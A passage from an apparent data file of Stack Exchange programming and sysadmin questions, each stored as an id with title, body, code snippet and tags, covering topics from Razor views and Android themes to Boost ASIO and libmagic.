</div>\n</div>\n\n\n<div id=\"PressReleases\" data-role=\"page\">\n <div data-
role\"content\">\n <ul data-role=\"listview\">\n @for (int i = 0;
i < Model.Count; i++ )\n {\n if (Model[i].type == \"Press
Release\")\n {\n <li>\n <a
href=\"@Url.Action(\"NewsItemDetails\", \"News\", new { id = i })\">\n
@if (Model[i].pictureURL != null)\n {\n
<div class=\"ui-grid-c\">\n <div class=\"ui-
block-a\" style=\"width:31%;vertical-align:middle\">\n
<img src=\"@Model[i].pictureURL\" style=\"width:100%;height:auto\"/>\n
</div>\n <div class=\"ui-block-b\"
style=\"width:4%; vertical-align:middle\"></div>\n
<div class=\"ui-block-c\" style=\"width:65%;vertical-align:middle\">\n
<h3 style=\"font-size:small; white-space:normal\">@Model[i].title</h3>\n
<p><strong>@Model[i].date.ToShortDateString()</strong></p>\n
</div> \n </div>\n }\n
else\n { \n <h3
style=\"font-size:small; white-space:normal\">@Model[i].title</h3>\n
<p><strong>@Model[i].date.ToShortDateString()</strong></p>\n
} \n </a>\
n </li>\n } \n } \n </ul>\n
</div>\n</div>\n", "asp.net-mvc jquery-mobile razor"], "5615727": ["Custom dialog
and themes/styles...i dont understand", "i would like to make a custom dialog theme
to use...but i am rather confused on the concept :(\nI would like to use the
THeme.NoTitleBar.FullScreen theme as it does have some button properties which i
want to keep while providing a theme overrides the dialog. how can i do that?\
nManifest.xml\n\nwhere are we supposed to store the styles and themes for Android
4.0? or are they stored in seperate files?\ni am really confused as to how this
works. the concept of overriding the parent. Does this mean that I override
Theme.NoTitleBar.Fullscreen?? or Theme.Dialog??\nI just want to make a translucent
dialog with curved endges and a border around the dialog. I was thinking a theme
would be easiest way...correct me if i am wrong\nthank you for ur time and effort\
n", " <activity\n android:name=\".Sports\"\n
android:theme=\"@android:style/Theme.NoTitleBar.Fullscreen\" >\n
android:label=\"@string/app_name\" >\n <intent-filter>\n <action
android:name=\"android.intent.action.MAIN\" /> />\n </intent-filter>\n
</activity>\n", "android coding-style dialog themes"], "362658": ["How to convert a
large XML file into a JSON file?", "I've started programming 3 days ago for iOS as
a hobby.\nI've created a CoreData file and I need to convert a large XML file into
a Json in order to move on to the next step.\nI've tried a lot of online converters
but my file is to large to work.\nAny software you guys can recommend?\nMuch
appreciated.\nThanks,\nF\n", "", "xml json converter convert"], "1885525": ["Can
already started Android Service receive NFC tag in the form of Intent?", "This is a
related question to:\nAndroid NFC start service\nIn Android, can an already started
service (class that extends Service) receive an Intent when an NDEF tag is
scanned?\n", "", "android android-service nfc"], "4840566": ["Integration Flex sdk
with Eclipse or Netbeans", "I want to know how can we integrate flex with eclipse
and netbeans. I want to know steps. I want an help on this.\n", "", "flex eclipse
flex4"], "2824423": ["Esc handler ignored", "Following code, doesn't get triggered
when Esc is pressed. Can somebody can give me insight?\nI like to change the cursor
(let's say from drawing mode turn it into pointer mode)\n\nThanks.\n", " public
override void OnKeyDown(MyCanvas dc, KeyEventArgs e)\n {\n if (e.Key ==
Key.Escape)\n {\n _line = null;\n e.Handled = true;\n
}\n }\n", "c# wpf"], "5222921": ["Are there any elegant techniques to get a
tableView's sections and rows into a flat string?", "I need to get the contents of
a UITableView's section titles and cell label text into a string so I can send it
via a MFMailComposeVC.\nSince I typically over-think and over-code, and I figure I
wasn't the first to want this, I thought I would consult SO before wasting an hour
or two of my afternoon.\nAre any free, cheap, and/or elegant techniques to get the
contents of a UITableView into a string?\nEdit: Oh, and I'm using core data and a
fetchResultsViewController too if that helps...\n", "", "cocoa uitableview
nsstring"], "5005666": ["How do you make lettered lists using markdown?", "Markdown
allows ordered lists using numbers. How can I instead get an ordered list using
letters? i.e.\n\ninstead of \n\n", "A. the letter A\nB. the letter B\nC. etc\n",
"markdown"], "4994468": ["Are there any other causes of this error that are NOT
related to initial setup?", "I'm trying to diagnose an issue at a customer site.
They are receiving the following error:\n\nA network-related or instance-specific
error occurred while\n establishing a connection to SQL Server\n\nI've seen this a
few times, but only during the initial setup - it's often caused by one of the
following:\n\nThe database server is turned off\nThe network connection between the
database server and the application is closed or somehow blocked (e.g. a firewall)\
nThe SQL Server instance is not set up to receive remote connections from the
application server (e.g. TCP is turned off, remote connections are disabled, or the
\"SQL Server Browser\" service is stopped/disabled)\n\nHowever, if I assume that no
configuration changes have been made, I'm trying to postulate on what the reason
might be for getting this error at a random point after the initial setup. My
initial thought is:\n\nSQL Server machine has run out of resources (e.g. RAM) and
is unable to accept new requests from the application server\n\nIs this a valid
theory? What other possible causes are there of this error that are not related to
the initial setup of the server / application connection? Or is it simply
impossible that this error could occur without a configuration change having been
made (either on the SQL Server side, application side, or somewhere in-between
(network))?\nNOTE: I believe this question differs from the plethora of questions
related to this error message because the application and server have been talking
to each other quite happily until now (most, if not all, other questions seem to
relate to initial setup).\nUPDATE: Just to update; this particular issue turned out
to be caused by the customer having changed the configuration of the application
(effectively meaning the connection string was incorrect).\n", "", "sql-server
connection connectivity theory"], "1506182": ["Sharing folders from CentOS 5.2", "I
need to set up a CentOS 5.2 machine with some shared folders so that they can be
seen and used for read and write operations from Windows machines on the same
network. The Windows machines will need to be able to perform basic file and folder
operations on the folders shared by the CentOS machine: create, open, read, write,
rename and delete filed, as well as create, rename and delete subfolders.\nI have
no experience whatsoever with CentOS. Is this functionality included with CentOS,
or do I need to install some additional software? In that case, what software
package would you suggest I should use to accomplish this?\nMany thanks.\n", "",
"centos network-share"], "602346": ["How can I change my mysql user that has all
privileges on a database to only have select privileges on one specific table?", "I
gave my mysql user the \"GRANT ALL PRIVILEGES ON database_name.* to
my_user@localhost\" treatment. Now I would like to be more granular, starting with
lowering privileges on a specific table.\nI am hoping mysql has or can be set to
follow a \"least amount of privileges\" policy, so I can keep the current setup and
lower it for the one table. But I have not seen anything like this in the docs or
online.\nOther than removing the DB level grant and re-granting on a table level,
is there a way to get the same result by adding another rule?\n", "", "mysql
permissions privileges tables"], "993122": ["Configuring updates on startup fails",
"Just recently every time I try to start up Windows 7 I get a 'Windows is
configuring updates 0%' message - for about 10 minutes then all of a sudden I get a
failure error and Windows is reverting any changes.\nThis has been going on a
continuous rate. I checked the update history and theres a number of failed
updates - an example of one is as below:\n\nHow do I resolve this issue?\n",
"Update for Windows 7 for x64-based Systems (KB2515325)\n\nInstallation date: \
u200e4/\u200e29/\u200e2011 6:34 PM\n\nInstallation status: Failed\n\nError details:
Code 800705B4\n\nUpdate type: Recommended\n\nThis is a reliability update. This
update resolves some performance and reliability issues in Windows. By applying
this update, you can achieve better performance and responsiveness in various
scenarios. For more information please see the Knowledge Base article. After you
install this item, you may have to restart your computer.\n", "windows-7 startup
windows-update"], "4723385": ["Video upload and playback in Flowplayer using Amazon
S3 and other webservices", "I'm looking to do the following. I was hoping you
expert could review the steps and let me know if it is possible, or at which step
does my plan fall apart. I apologize if this format is not effective, but I think
seeing my thought process in steps will be best. Thank you so much.\n\nPurchase an
Amazon S3 storage account (start with trial)\nCreate uploader on my website that
will allow users to upload to the\nAmazon storage (web uploader)\nCreate custom-
coded database that will link video\nmetadata on website (Title, User, Views, Date,
etc) to the actual\nfile address on Amazon storage. This step is important, as it
will\nallow a user who uploaded a video to remove a video, change the\nvideo title
on the website, and more. \nCustom-code webpage to locate file address based on
video id (step 3-database)\nCustom-code webpage to play that file from Amazon
storage in\nFlowplayer flash player\n\nHopefully these steps convey my goal. \nMy
questions:\n\nFlowplayer accepts the following file formats: FLV, H.264, MP4. Out
of convenience, I would want to take care of file conversion for my users, as I
assume that is what YouTube and the big video companies do. How can I do this in
step 2 (video upload)?\nStep 3, which is setting up the database to link Amazon S3
storage to the actual users/video metadata on my site seems somewhat complicated.
Does Amazon have a service that takes care of all of this for me (easily?)\n\
nThanks so much!\n", "", "video amazon-s3 streaming amazon-web-services
flowplayer"], "5287868": ["How to see the content of a variable in a script that
acts as a listener: Facebook real time update", "I have two files, index.php and a
callback.php. Index.php is used to display data on the website. The callback.php is
a script that acts like a listener. The callback.php is called by a server and the
$update variable in callback.php is updated by the server in real time. I want to
see the contents of $update variable every time it updates.\nCallback.php:\n\nHow
can i do this? Please let me know. I would appreciate if you have some sample code
i could start with.\n", " if ($method == 'GET' && $_GET['hub_mode'] ==
'subscribe' &&\n $_GET['hub_verify_token'] == VERIFY_TOKEN) {\n echo
$_GET['hub_challenge'];\n\n } else if ($method == 'POST') {\n $updates =
json_decode(file_get_contents(\"php://input\"), true);\n //I want to see the
content of $updates\n // resend the push notification again.\n
error_log('updates = ' . print_r($updates, true));\n }\n", "php facebook real-
time server-side"], "917405": ["Is is necessary to Securing private .Net
assemblies?", "I am currently working on a .net project which I am dividing into
different assemblies.\nOne assembly (a dll) will contain most of the domain logic,
and the other assemblies (.exe) will contain most of the presentation and control
logic.\nMy question is, if I want to prevent someone from getting my DLL, and
adding it as a reference on Visual Studio and develop a new interface for the model
without my permission, can I do this with just building the assemblies as private?
Does building the assemblies as private means that only the assemblies that were
built together can be referenced by each other? \nWhat is the easiest way to build
an application and have its DLLs and EXEs function as a single logical unit on
which a DLL assembly can only be referenced by the referencing assemblies when the
project was built.\nRegards,\n", "", ".net security assemblies"], "4195237":
["Desktop directory disappears in gnome-terminal, then appears again, but all files
in it are deleted", "I am able to see my Desktop and with all its various links and
files. But in the terminal when I try to access the Desktop directory:\n\nI get:\n\
nbash: cd: /home/administrator/Desktop: No such file or directory\n\nThen I find I
am unable to access any of the files on the Desktop when I click on them although
the file icons are there. Then the icons disappear after my clicking on them.\nThen
I am able to access the Desktop directory in the terminal but the directory is
empty i.e. all the files/folders have been deleted. What's going on? How can I fix
this?\n\n", "cd ~/Desktop\n", "desktop gnome ubuntu-8.04"], "4978003": ["how to
change language for DataTable", "I store, in a session variable, which language
does user wants to translate but I don't know to pass it DataTables\nI found this
explanation on the datatables website but that didn't really help, where do I set
language param ?\n", "", "jquery datatables"], "4820505": ["Can I safely delete the
files that cause iTunes incoming network connections alerts?", "I am experiencing
the same issue mentioned in \"iTunes.app\" to accept incoming network connections?
but have a question about the files that iTunes creates, which cause this issue.\nI
have the Firewall turned on in Lion and every time I open iTunes it asks me if I
want to allow incoming connections. The solution seems to be:\n\nGo into the iTunes
package and delete all of the files that this terminal command flags as
a \"resource added\": \n\nWhen you rerun the terminal command, it will indicate
that iTunes.app now \"satisfies its Designated Requirement\" and the annoying popup
should go away.\n\nHowever my question is: What are these files iTunes creates and
is it safe to delete them? I would like to understand what I am deleting before I
just do it. Any help is greatly appreciated.\n", "$ codesign -vvv
/Applications/iTunes.app/\n", "itunes osx-lion"], "4739897": ["Real binary block in
XML (C++)?", "Is it possible to integrate a real (not encoded in characters) binary
block (best with defined byte-order and word-length) into an XML file?\n", "", "c++
xml encoding binary"], "2202724": ["Finite Simple Groups gap recently filled", "The
recent paper,\n\"Aftermath,\" by\nPeter Cameron (arXiv:1111.4050v1), contains this
remark concerning\nthe classification of the finite simple groups:\n\nThe
Classification of Finite Simple Groups [16] is the greatest collaborative effort
ever in mathematics, running to about 15000 journal pages. (Ironically, although
the theorem was announced in 1980, the proof contained a gap which has only just
been filled.)\n\nCan someone explain (at a high level) what was the gap and who
filled it?\n(Cameron gives no reference.) Thanks!\n", "", "group-theory finite-
groups"], "936941": ["Adobe Director (dcr) \"wmode\" question", "can *.dcr be set
the 'wmode' just the *.swf does?\n", "", "adobe wmode director"], "1439719":
["Cassandra Node Memory Usage Imbalance", "I am using Cassandra 1.2 with the new
MurMur3Partitioner on centos.\nOn a 2 node cluster both set up with \nI see that
one node is using much more memory than the other after inserting a couple million
rows with CQL3.\nWhen I run the command\nit shows 6GB usage on the second node and
1GB on the seed node.\nHowever, when running\n\nIt shows the java process using
about 6.8GB on each node.\nNote that I have\nMAX_HEAP_SIZE=\"4GB\"\
nHEAP_NEWSIZE=\"400M\"\nset in on each node.\nCan anyone provide some insight?\n",
"num_tokens=256", "operating-system cassandra"], "2403332": ["Why method
overloading does not work inside another method?", "In the class or object body,
this works:\n\nBut if it is placed inside another method, it does not compile:\n\
nWhy is it so?\n", "def a(s:String) {}\ndef a(s:Int) {}\n", "scala"], "1807024":
["System_Service_Exception on XP 64 bit", "I have a computer which has been running
XP 64-bit for several years with no hardware changes. One day I had a power surge
and ever since then, I occasionally crash with a Blue Screen of Death (BSOD) which
says SYSTEM_SERVICE_EXCEPTION. I also get a group of hex codes which look like:\n\
nI ran a virus check with the latest Norton AntiVirus and no viruses were found.\
nDoes anyone have any suggestions? Would a repair install of Windows XP SP3 be
advisable?\n", "0x0000003B (0x0000000080000003, 0xFFFFF80001026CD0,
0xFFFFFADF88E96D40, 0x000000000000000)\n", "windows-xp 64-bit bsod"], "72098":
["Semantic for broken unit test", "I am writing unit tests for our main product and
have one concern: how to differentiate\n\ntests that failed because what they
tested went wrong (a bug was found and its a non regression test for it for
instance)\ntests that failed because another unexpected part of the test failed
(because the test is wrong or an unknown bug appeared)\n\nFor the first one, we
have the jUnit Assert framework for sure, but what do we have for the second one?\
nExample: my unit test is testing that c() will not throw MyException, but to
perform c() I need to first perform a() then b() which both can throw
MyException(), so I would write:\n\nBut then I need to handle the MyException that
can be thrown by a or b, and also handle the fact that forC should not be null.
What is the best way to do this?\n\nCatch MyException thrown by a or b and
Assert.fail, but a and b are not tested by this test so for me they shouldn't be
marked as test failure when they fail. Maybe they fail later because at this
time we should do b();a() not a();b();.\nLet testC throws MyException, so that the
test will fail with \"MyException\", but this is misleading because MyException
will not tell that the test is wrongly written. All tests will then fail each with
their own Exception. In this case I would also need to throw something like
NullPointerException if forC is null, which also has no semantic.\nCatch and wrap
MyException thrown by a and b into a exception telling that the test might be
wrong, like a TestCorruptedException. But I couldnt find such exceptions in jUnit,
so they would not be recognized by jUnit as such (that's ok for me). Also I would
need to know this exception from all my unit tests which are of course split into
multiple modules, projects and so on...So this is doable but adds dependencies.\n\
nWhat would be your solution to this problem? I will likely go for the second but
I'm not pleased with it as explained above.\n", "@Test\npublic void testC() {\n
a();\n Object forC = b();\n try {\n c(forC);\n } catch (MyException e) {\n
Assert.fail(\"....\");\n }\n}\n", "java unit-testing junit"], "4188003":
["Changing \\closing indents in koma-script scrlttr2 class", "The koma-script
letter class scrlttr2 uses the DIN 5008 letter format by default.\nI am happy to
use the format, but it insists on indenting the line, even if is set.\nHow can I
configure it so that it justifies everything in the letter body block-left? As far
as I know, that is not incompatible with DIN 5008. I tried reading the koma-script
guide, but everything I could find about changing block position referred to
the \"advanced user\" section on pseudospacing. I am not an advanced user. I am not
even a beginner, and in fact the DIN.lco file already sets the sigindent to 0 mm,
so I have no idea why it insists on indenting this one line.\nHere is my code:\n\
nwhich looks like this:\nor not. As a new user, I can't post images. You can try
running the code yourself, and you'll see what I mean.\nNote the indentation
of \"Sincerely\" -- that is what I am talking about. How can I make the whole thing
left-justified? My next question will be how to adjust paragraph spacing so that I
don't have to do , which seems very wrong to me.\n", "\\closing", "indentation
koma-script scrlttr2"], "6002937": ["Erase algorithm to be implemented using AS3",
"Is there any algorithm to perform erase operation in a bitmap? I would like to
create functionality similar to how photoshop or other graphic application performs
erase. Is erase operation so difficult that there isn't much help (for bitmaps)
available? I am OK even with name of an algorithm, I can proceed from there.\n",
"", "flash flex actionscript-3"], "2714761": ["as3 extended classes doesn't
understand updates", "I think my flash has a curse.\nI use Flash Professional CS5.5
with Gaia FrameWork in my project. movieclips in the project have extended classes
and the problem is that when I give new functionality to my classes they doesn't
work in an build project. for example function s cann't be found, trace doesn't
work and so on. All the old functionality works. When I change class name then it
works fine. but then it happens again. \nI made new project and coped all the
content, but still it happens. I event rainstalled flash but nothing works. \nWhat
can I do? \n", "", "actionscript-3 gaia"], "847377": ["Boost ASIO concurrency", "I
am learning to use Boost ASIO. Here is some code copied from the the chat example
given along with Boost ASIO documentation, \n\n\nThe writes are asynchronous and
there is no use of locks around the member variables and . Shouldn't there be an
issue with concurrency here?\nIs it safe to make calls to from the thread that
runs What about ? What about making the same calls from threads that are not
running ?\nIn , why are they pushing the message into instead of directly sending
it? Also in the same function why are they checking if the was empty and only if
it was not, proceeding to send? Does mean a write is going on? How?\nIf gets
invoked only in one thread then why do I need a queue to maintain a sequence of
send? Wouldn't the finish the tasks at hand and then do the asynchronous operation
called by ? Will using a instead of make a difference in the example mentioned
above?\n\n", "typedef std::deque<chat_message> chat_message_queue;\n\nclass
chat_client\n{\n public:\n chat_client(boost::asio::io_service&
io_service,\n tcp::resolver::iterator endpoint_iterator)\n
: io_service_(io_service),\n socket_(io_service)\n {\n
boost::asio::async_connect(socket_, endpoint_iterator,\n
boost::bind(&chat_client::handle_connect, this,\n
boost::asio::placeholders::error));\n }\n\n void write(const
chat_message& msg)\n {\n
io_service_.post(boost::bind(&chat_client::do_write, this, msg));\n }\n\n
void close()\n {\n
io_service_.post(boost::bind(&chat_client::do_close, this));\n }\n\n
private:\n\n void handle_connect(const boost::system::error_code& error)\n
{\n //Implementation\n }\n\n void handle_read_header(const
boost::system::error_code& error)\n {\n //Implementation\n
}\n\n void handle_read_body(const boost::system::error_code& error)\n
{\n //Implementation\n }\n\n void do_write(chat_message
msg)\n {\n bool write_in_progress = !write_msgs_.empty();\n
write_msgs_.push_back(msg);\n if (!write_in_progress)\n {\n
boost::asio::async_write(socket_,\n
boost::asio::buffer(write_msgs_.front().data(),\n
write_msgs_.front().length()),\n
boost::bind(&chat_client::handle_write, this,\n
boost::asio::placeholders::error));\n }\n }\n\n\n\n void
handle_write(const boost::system::error_code& error)\n {\n
//Implementation\n }\n\n void do_close()\n {\n
socket_.close();\n }\n\n private:\n boost::asio::io_service&
io_service_;\n tcp::socket socket_;\n chat_message read_msg_;\n
chat_message_queue write_msgs_;\n};\n", "c++ boost concurrency boost-asio"],
"5005660": ["Inserting a custom_field in Wordpress using MySql", "I have asked
here(http://stackoverflow.com/questions/1670838/inserting-a-post-in-wordpress-
using-mysql) about how to insert a post in wordpress using mysql, but now I also
need to insert some custom fields values, for example: if I have a custom_field
called stack how can I insert a value for that custom field using mysql...\n", "",
"php wordpress wordpress-theming"], "663490": ["Google Webfont Accent Characters
(Diacritics) rendering", "Google webfonts like Open Sans and Oswald are looking
weird on my website. The characters with accents don't show up in the open sans
font, but in another font-family. The strange thing is that the same text looks ok
on the Google Webfont test page. Also the problem seems to be only on some
browsers. The worst is on Opera.\n\n", "", "html google fonts webfonts"],
"2741081": ["clearInterval() is not working. Strange", "This is the code:\n\nThen
page loads and then \"Loading\" dissmises, in my Google Chrome console I
see \"Google paie\u0161ka u\u017esikrov\u0117\", but it keeps writing to console,
and writing... So clearInterval not works.\nProblem solved: changed to\n\nvar LOAD
= window.setInterval(LOADING, 50);\n\nThanks ;)\n", "var LOAD =
window.setInterval(\"LOADING()\", 50);\n\nfunction LOADING() {\n var y =
document.getElementById(\"cse\");\n var str = y.innerHTML;\n if (str !
== \"Loading\") {\n setTimeout('INPUTAI()', 100);\n
window.clearInterval(LOAD);\n console.log('Google paie\u0161ka u\u017esikrov\
u0117');\n } \n}\n", "javascript jquery function console clearinterval"],
"5872312": ["C++ get method - returning by value or by reference", "I've go a very
simple question, but unfortunately I can't figure the answer myself.\nSuppose I've
got some data structure that holds settings and acts like a settings map.\nI have a
method, that returns the corresponding value.\nNow I'm trying to figure out - what
kind of return-value approach would be better. The obvious one means making my
method act like\n\nand return a copy of the object and rely on RVO in performance
meanings.\nThe other one would mean making two methods\n\nwhich generally means
duplicating code or using some evil constant casts to use one of these routines
twice.\nQ\nWhat would be your choice in this kind of situation and why?\n",
"GetValue(const std::string& name)", "c++ reference return-value return-value-
optimization"], "701283": ["inserting first node into empty doubly-linked list [how
to]", "This is a follow-on to a previous post. I am now looking at how to insert a
first node into an empty doubly-linked list. It's kind of tricky at first it
seems...i would be grateful for a hint as to what is missing in my addFirst method\
n\n[EDIT]\nSolution as proposed by typo.pl:\n\n", "...\npublic DLL()\n{\n first
= null ;\n last = null ;\n}\n\n...\nDLL myList = new DLL() ;\nDLLNode A = new
DLLNode(\"Hello\", null, null) ;\n...\n\nmyList.addFirst(A) ;\n\n...\npublic void
addFirst(DLLNode v)\n{\n v.pred = first ;\n v.succ = last ; \n}\n", "java
homework linked-list"], "5793527": ["firebug (1.10.1) suggests javascript is not
confined to a single thread in firefox (13.0)", "While debugging some client side
javascript today in Firefox, I ran into something that I found quite odd and little
unnerving. Also, I was unable to duplicate this behavior while debugging the same
script with IE / VS2010.\nI created a simple example html document
to illustrate the anomally I am seeing.\n\nIf you load this document into Firefox
(I am using version 13.0 with Firebug version 1.10.1 on Windows 7), click test, and
view the console tab in Firebug you should notice that the get request fails (cross
domain violation that has nothing to do with the point I'm trying to make here),
and then you will most likely see:\n\nNow, place breakpoints on lines 13 and 20:\n\
nIf you click test again you will break on line 13 as expected. Now, resume
execution. If your experience is like mine, you will not break on line 20. Also
if you switch to the console tab you will see the following sequence of log
output:\n\nTo me, this suggests that the fail handler of the ajax request is being
executed in a thread other than that which the click handler is being executed in.
I have always been led to believe that all the javascript for a single page will be
executed by a single thread in any browser. Am I missing something really obvious
here? Thanks for any insight on this observation.\nOh, if I debug the same page
running in IE using Visual Studio, both breakpoints are hit as I would expect.\n",
"<!DOCTYPE html>\n<html>\n<head>\n<script
src=\"http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.js\"
type=\"text/javascript\" ></script>\n</head>\n\n<body id=\"main_body\">\n
<script type=\"text/javascript\">\n $(function () {\n $(\".test-
trigger\").on(\"click\", function () {\n loadStuff();\n
console && console.log && console.log(\"this will probably happen first.\");\n
});\n });\n\n function loadStuff() {\n
$.get(\"http://google.com/\")\n .fail(function () {\n
console && console.log && console.log(\"this will probably happen second.\");\n
});\n }\n </script>\n <button
class=\"test-trigger\">test</button>\n</body>\n</html>\n", "javascript
multithreading firefox firebug"], "850236": ["Overwrite accessibility functions in
Android", "I have developed an app for visually impaired. I created easy gestures
like touch, double taps for my app and using tts for readings texts. I have a
strange problem:\nWhen I enable accessibility function like talkback. My apps
gesture get disabled, I can't use any of my in-app gestures. \nHow do I fix this?\
nThanks!\n", "", "android accessibility"], "1298984": ["How to attach an event to
IHTMLDocument2 link elements in Delphi?", "I'm using this code to get all the links
from an IHTMLDocument2:\n\nHow could I attach a function/procedure to .onclick to
do a simple task like show an alert with the anchor text when the link is clicked?\
n", "procedure DoDocumentComplete(const pDisp: IDispatch; var URL: OleVariant);\
nvar\n Document:IHTMLDocument2;\n Body:IHTMLElement;\n
Links:IHTMLElementCollection;\n i:integer;\n tmp:IHTMLElement;\nbegin\n try\n
Document := (pDisp as IWebbrowser2).Document AS IHTMLDocument2;\n Body :=
Document.body;\n Links := Document.links;\n for i := 0 to (Links.length-1) do\n
begin\n tmp := (Links.item(i, 0) as IHTMLElement);\n //tmp.onclick := HOW
SHOULD I ADD THE CALLBACK HERE?\n //ShowMessage(tmp.innerText);\n end;\n
except\n on E : Exception do\n ShowMessage(E.ClassName+' error raised, with
message : '+E.Message);\n end;\nend;\n", "delphi events onclick iwebbrowser2
ihtmldocument2"], "4914803": ["IQueryable queried data count", "I am trying to get
the count of the items as I'm applying a query to a IQueryable.\nI'am trying to do
it like:\n\nI think this gets all the data across the condition and takes the
objects, then it takes the count; so I'm curious if for example I'd just take the
Id columns and cast it to the list or some other smart way; that count operation
would be quicker?\nInfo: GetAll() => It's a repository pattern method that returns
IQueryable objects T from linqToSql data entity.\nI'm open to all types of
different ideas. Thanks\n", "this.lblSth.Text = new
Repository<Sth>().GetAll().Where(p => p.PersonId ==
personId).ToList().Count().ToString();\n", "c# count iqueryable"], "936943": ["GCM
push message encoding", "I am trying to send push notifications using following
code:\n\nOn the receiving side my code is:\n\nWhen the message is in English, latin
charset, everything works. However, when I try other languages or the character \
u00e7, they arrive as question marks or are deleted from the string.\nNote: it's
encoded in utf-8\n", " Message message = new
Message.Builder().addData(\"appName\", appData.name)\n.addData(\"message\",
pushData.message).build();\n", "android encoding push"], "1284138": ["css in inside
jquery", "Hi guys basically what I am wanting to do is find any div with the class
of and then add a overlayed image to it that will display a play button, then once
the play button is there it will do a fancybox popup and play the video\nTasks to
do\n\nplay video in fancy box - Check\nget image to appear over div : Check\nCenter
image over div: not check\n\nThe reason is because all the images are going to be
different sizes, so i need some jquery that gets the size of the image and then
puts it in to the style of the div.\nThanks so much for any help!\n\nCSS\n\n",
"video", "jquery css div position"], "5094249": ["Websphere application server VS
Jboss", "I am looking for a kind of java ee application server. My company is using
Websphere application server and I am reviewing jboss. I am not familiar with WAS,
would anybody like to tell me which outstanding features provided by IBM WAS? And
what the common features between WAS and JBOSS.\nI write down my understanding
firstly.\nIBM WAS Outstanding(Specified) features:\n1. LTAP \n2. Monitor Tool\n3.
IDE(RAD) --- not sure is it free?\n4. Integration with IBM portal(since we are
using this product as well)\n5. Integration with IBM MQ(above reason)\n6.
Webservice extension support(WS_*)\n7. .....cool websphere library??? no idea, who
would give me a sample?\nCommon features in WAS and JBOSS\n1. Vendor service
support\n2. Java EE and EJB 3.0\n3. Clustering\n4. Any reasonable features for
web2.0 application?\n", "", "jboss websphere"], "4177342": ["How do I browse a
workgroup after mapping network drives in Windows 7 Professional?", "I have a
laptop running Windows 7 Professional, and an office network populated mainly by
computers running Windows XP. The domain controller runs Windows Server 2003 (SBS).
The W7 laptop has been configured to join the same workgroup as the XP computers.\
nBefore mapping any network drives, I could see other devices in the workgroup
under \"Network\" in the Explorer sidebar. I then mapped network drives for shares
on a server in this workgroup. Now, none of the previously visible devices in this
workgroup are visible in the network browser. I can, however, still ping or browse
to devices I know the name of (by name and IP). Other devices not in any workgroup
are still visible in the network browser.\nWhat do I have to do to be able to see
other devices on the workgroup in the network browser again?\n", "", "windows-7
network-shares"], "6019706": ["Your Apple ID has been disabled [Environment:
Sandbox]", "i am testing my application in-app purchases with iTunes test
account. \nI run the game and i log-in to sand box test account.\nwhen try to buy
something in the app a message box prompt me with confirm your in-app purchase
information. \nThen I click \u201cBuy\u201d it ask me for Apple ID Password for my
sand box account. When I give the password it prompt me with following message ...\
nYour Apple ID has been disabled.\n[Environment: Sandbox]\nI tested with several
test accounts same result. Can anyone provide some help on this?\n", "", "iphone
ipad app-store appstore-sandbox"], "4856981": ["Castle Windsor can't find
installers in assemblies", "I have code in my global.axax:\n\nWhen I debug
global.asax, code finds all my project dll's (there are 7 dll's).\n3 of them
contains implementation of interface, for example:\n\nBut when I sets breakpoints,
it is only 1 installer called, 2 other was skipped.\nIt's funny, but I have another
working project from what i copied code.\n", "protected void Application_Start()\
n{\n WindsorContainer = new WindsorContainer();\n
WindsorContainer.Install(FromAssembly.InDirectory(new
AssemblyFilter(AppDomain.CurrentDomain.RelativeSearchPath)));\n
ControllerBuilder.Current.SetControllerFactory(new
WindsorControllerFactory(WindsorContainer.Kernel));\n//...\n}\n", "c# asp.net-mvc
asp.net-mvc-3 castle-windsor windsor-3.0"], "4965588": ["DNS as distributed cache",
"We have a use case to cache 300+ million pieces of such data each with a unique
key.\nI know this is unorthodox but, it has been suggested at my company that DNS
could be used as a fast distributed cache for small (<512 bytes) pieces of data. \
nThe DNS entry would be {Key}.{modulus of hashed key}.mycompany.local. \ni.e.
U5333145311.1.mycompany.local\nWe would be making requests at the rate of 5000 to
7500 per second from 10 to 15 servers.\nWe would update each DNS server via the
zone files.\nAs I am a programmer, this is all new to me \n\nis this even feasible?
\nwhat are the pitfalls? \nhow do I size the DNS servers.\n\nThanks\nUpdate: The
data is an array of 1 to 30 integers (not 512K sorry), so it is very small. My CTO
who came from network ops like this solution because it is a known, mature system
and has built in fault tolerance and he can use network ops to manage it. I am very
leery but open minded.\n", "", "dns cache"], "4373705": ["How can we encode the
image into the body of the email when sending mail using database mail in sql
2008?", "How can we encode the image into the body of the email when sending mail
using database mail in sql 2008\nI m using :\n\nAny help would be highly
appreciable..\nThanks \n", " exec msdb.dbo.sp_send_dbmail\n
@profile_name = 'DBMail',\n @recipients = '[email protected]',\n
@subject = 'DB hello',\n --@file_attachments = 'C:\\logo.jpg', \n
@body='<p>Image Test</p><img src=\"C:\\logo.jpg\" width=\"270\" height=\"146\"\"
/><p>See image there?</p>' , \n @body_format = 'HTML';\n", "sql sql-server-2008
database-mail"], "661891": ["Android intent losing scope", "In my app I have a
custom map with hotspots on it. When you top on the hotspot it opens up another
intent which is has a tabhost. If I click one of the items in the tabhost which
then open up yet another intent all works fine. But when I press the back button
from this 3rd intent, it goes all the way back to the map, ignoring the tabhost
intent. I've been struggling with why this could be happening for days. Can
provide code example if needed.\nMap Intent code:\n\nTabhost Code:\n\n", "Intent
tourSingle = new Intent(context, tourSingle.class);\
ntourSingle.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\
ntourSingle.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);\ntourSingle.putExtra(\"tag\",
activeTag);\ncontext.startActivity(tourSingle);\n", "android android-intent sdk"],
"1484474": ["How to set focus on last line of WPF RichTextBox", "I am dynamically
adding text in a .\nHow can I set on the last line so the user can see it?\n",
"RichTextBox", "wpf focus richtextbox"], "2146678": ["Best C++ RTP/RTSP library",
"I'm looking for a RTP/RTSP library in C++. I found pjsip but it is more C-style.
I'm looking for more OO library.\n", "", "c++ udp sip rtp rtsp"], "4453705":
["trying to use 3rd part library, libmagic", "i try use this code:\n\nwhen execute
this code it appears the messagge: \u201ccannot load magic database\u201d. why? I
don\u2019t understand what are the causes\u2026.\nTo compile I use visual studio
2010, there aren't any build errors.\n", "#include <stdio.h>\n#include <magic.h>\n\
nint main(void)\n{\n char *actual_file = \"/file/you/want.yay\";\n const char
*magic_full;\n magic_t magic_cookie;\n magic_cookie =
magic_open(MAGIC_MIME);\n if (magic_cookie == NULL) {\n
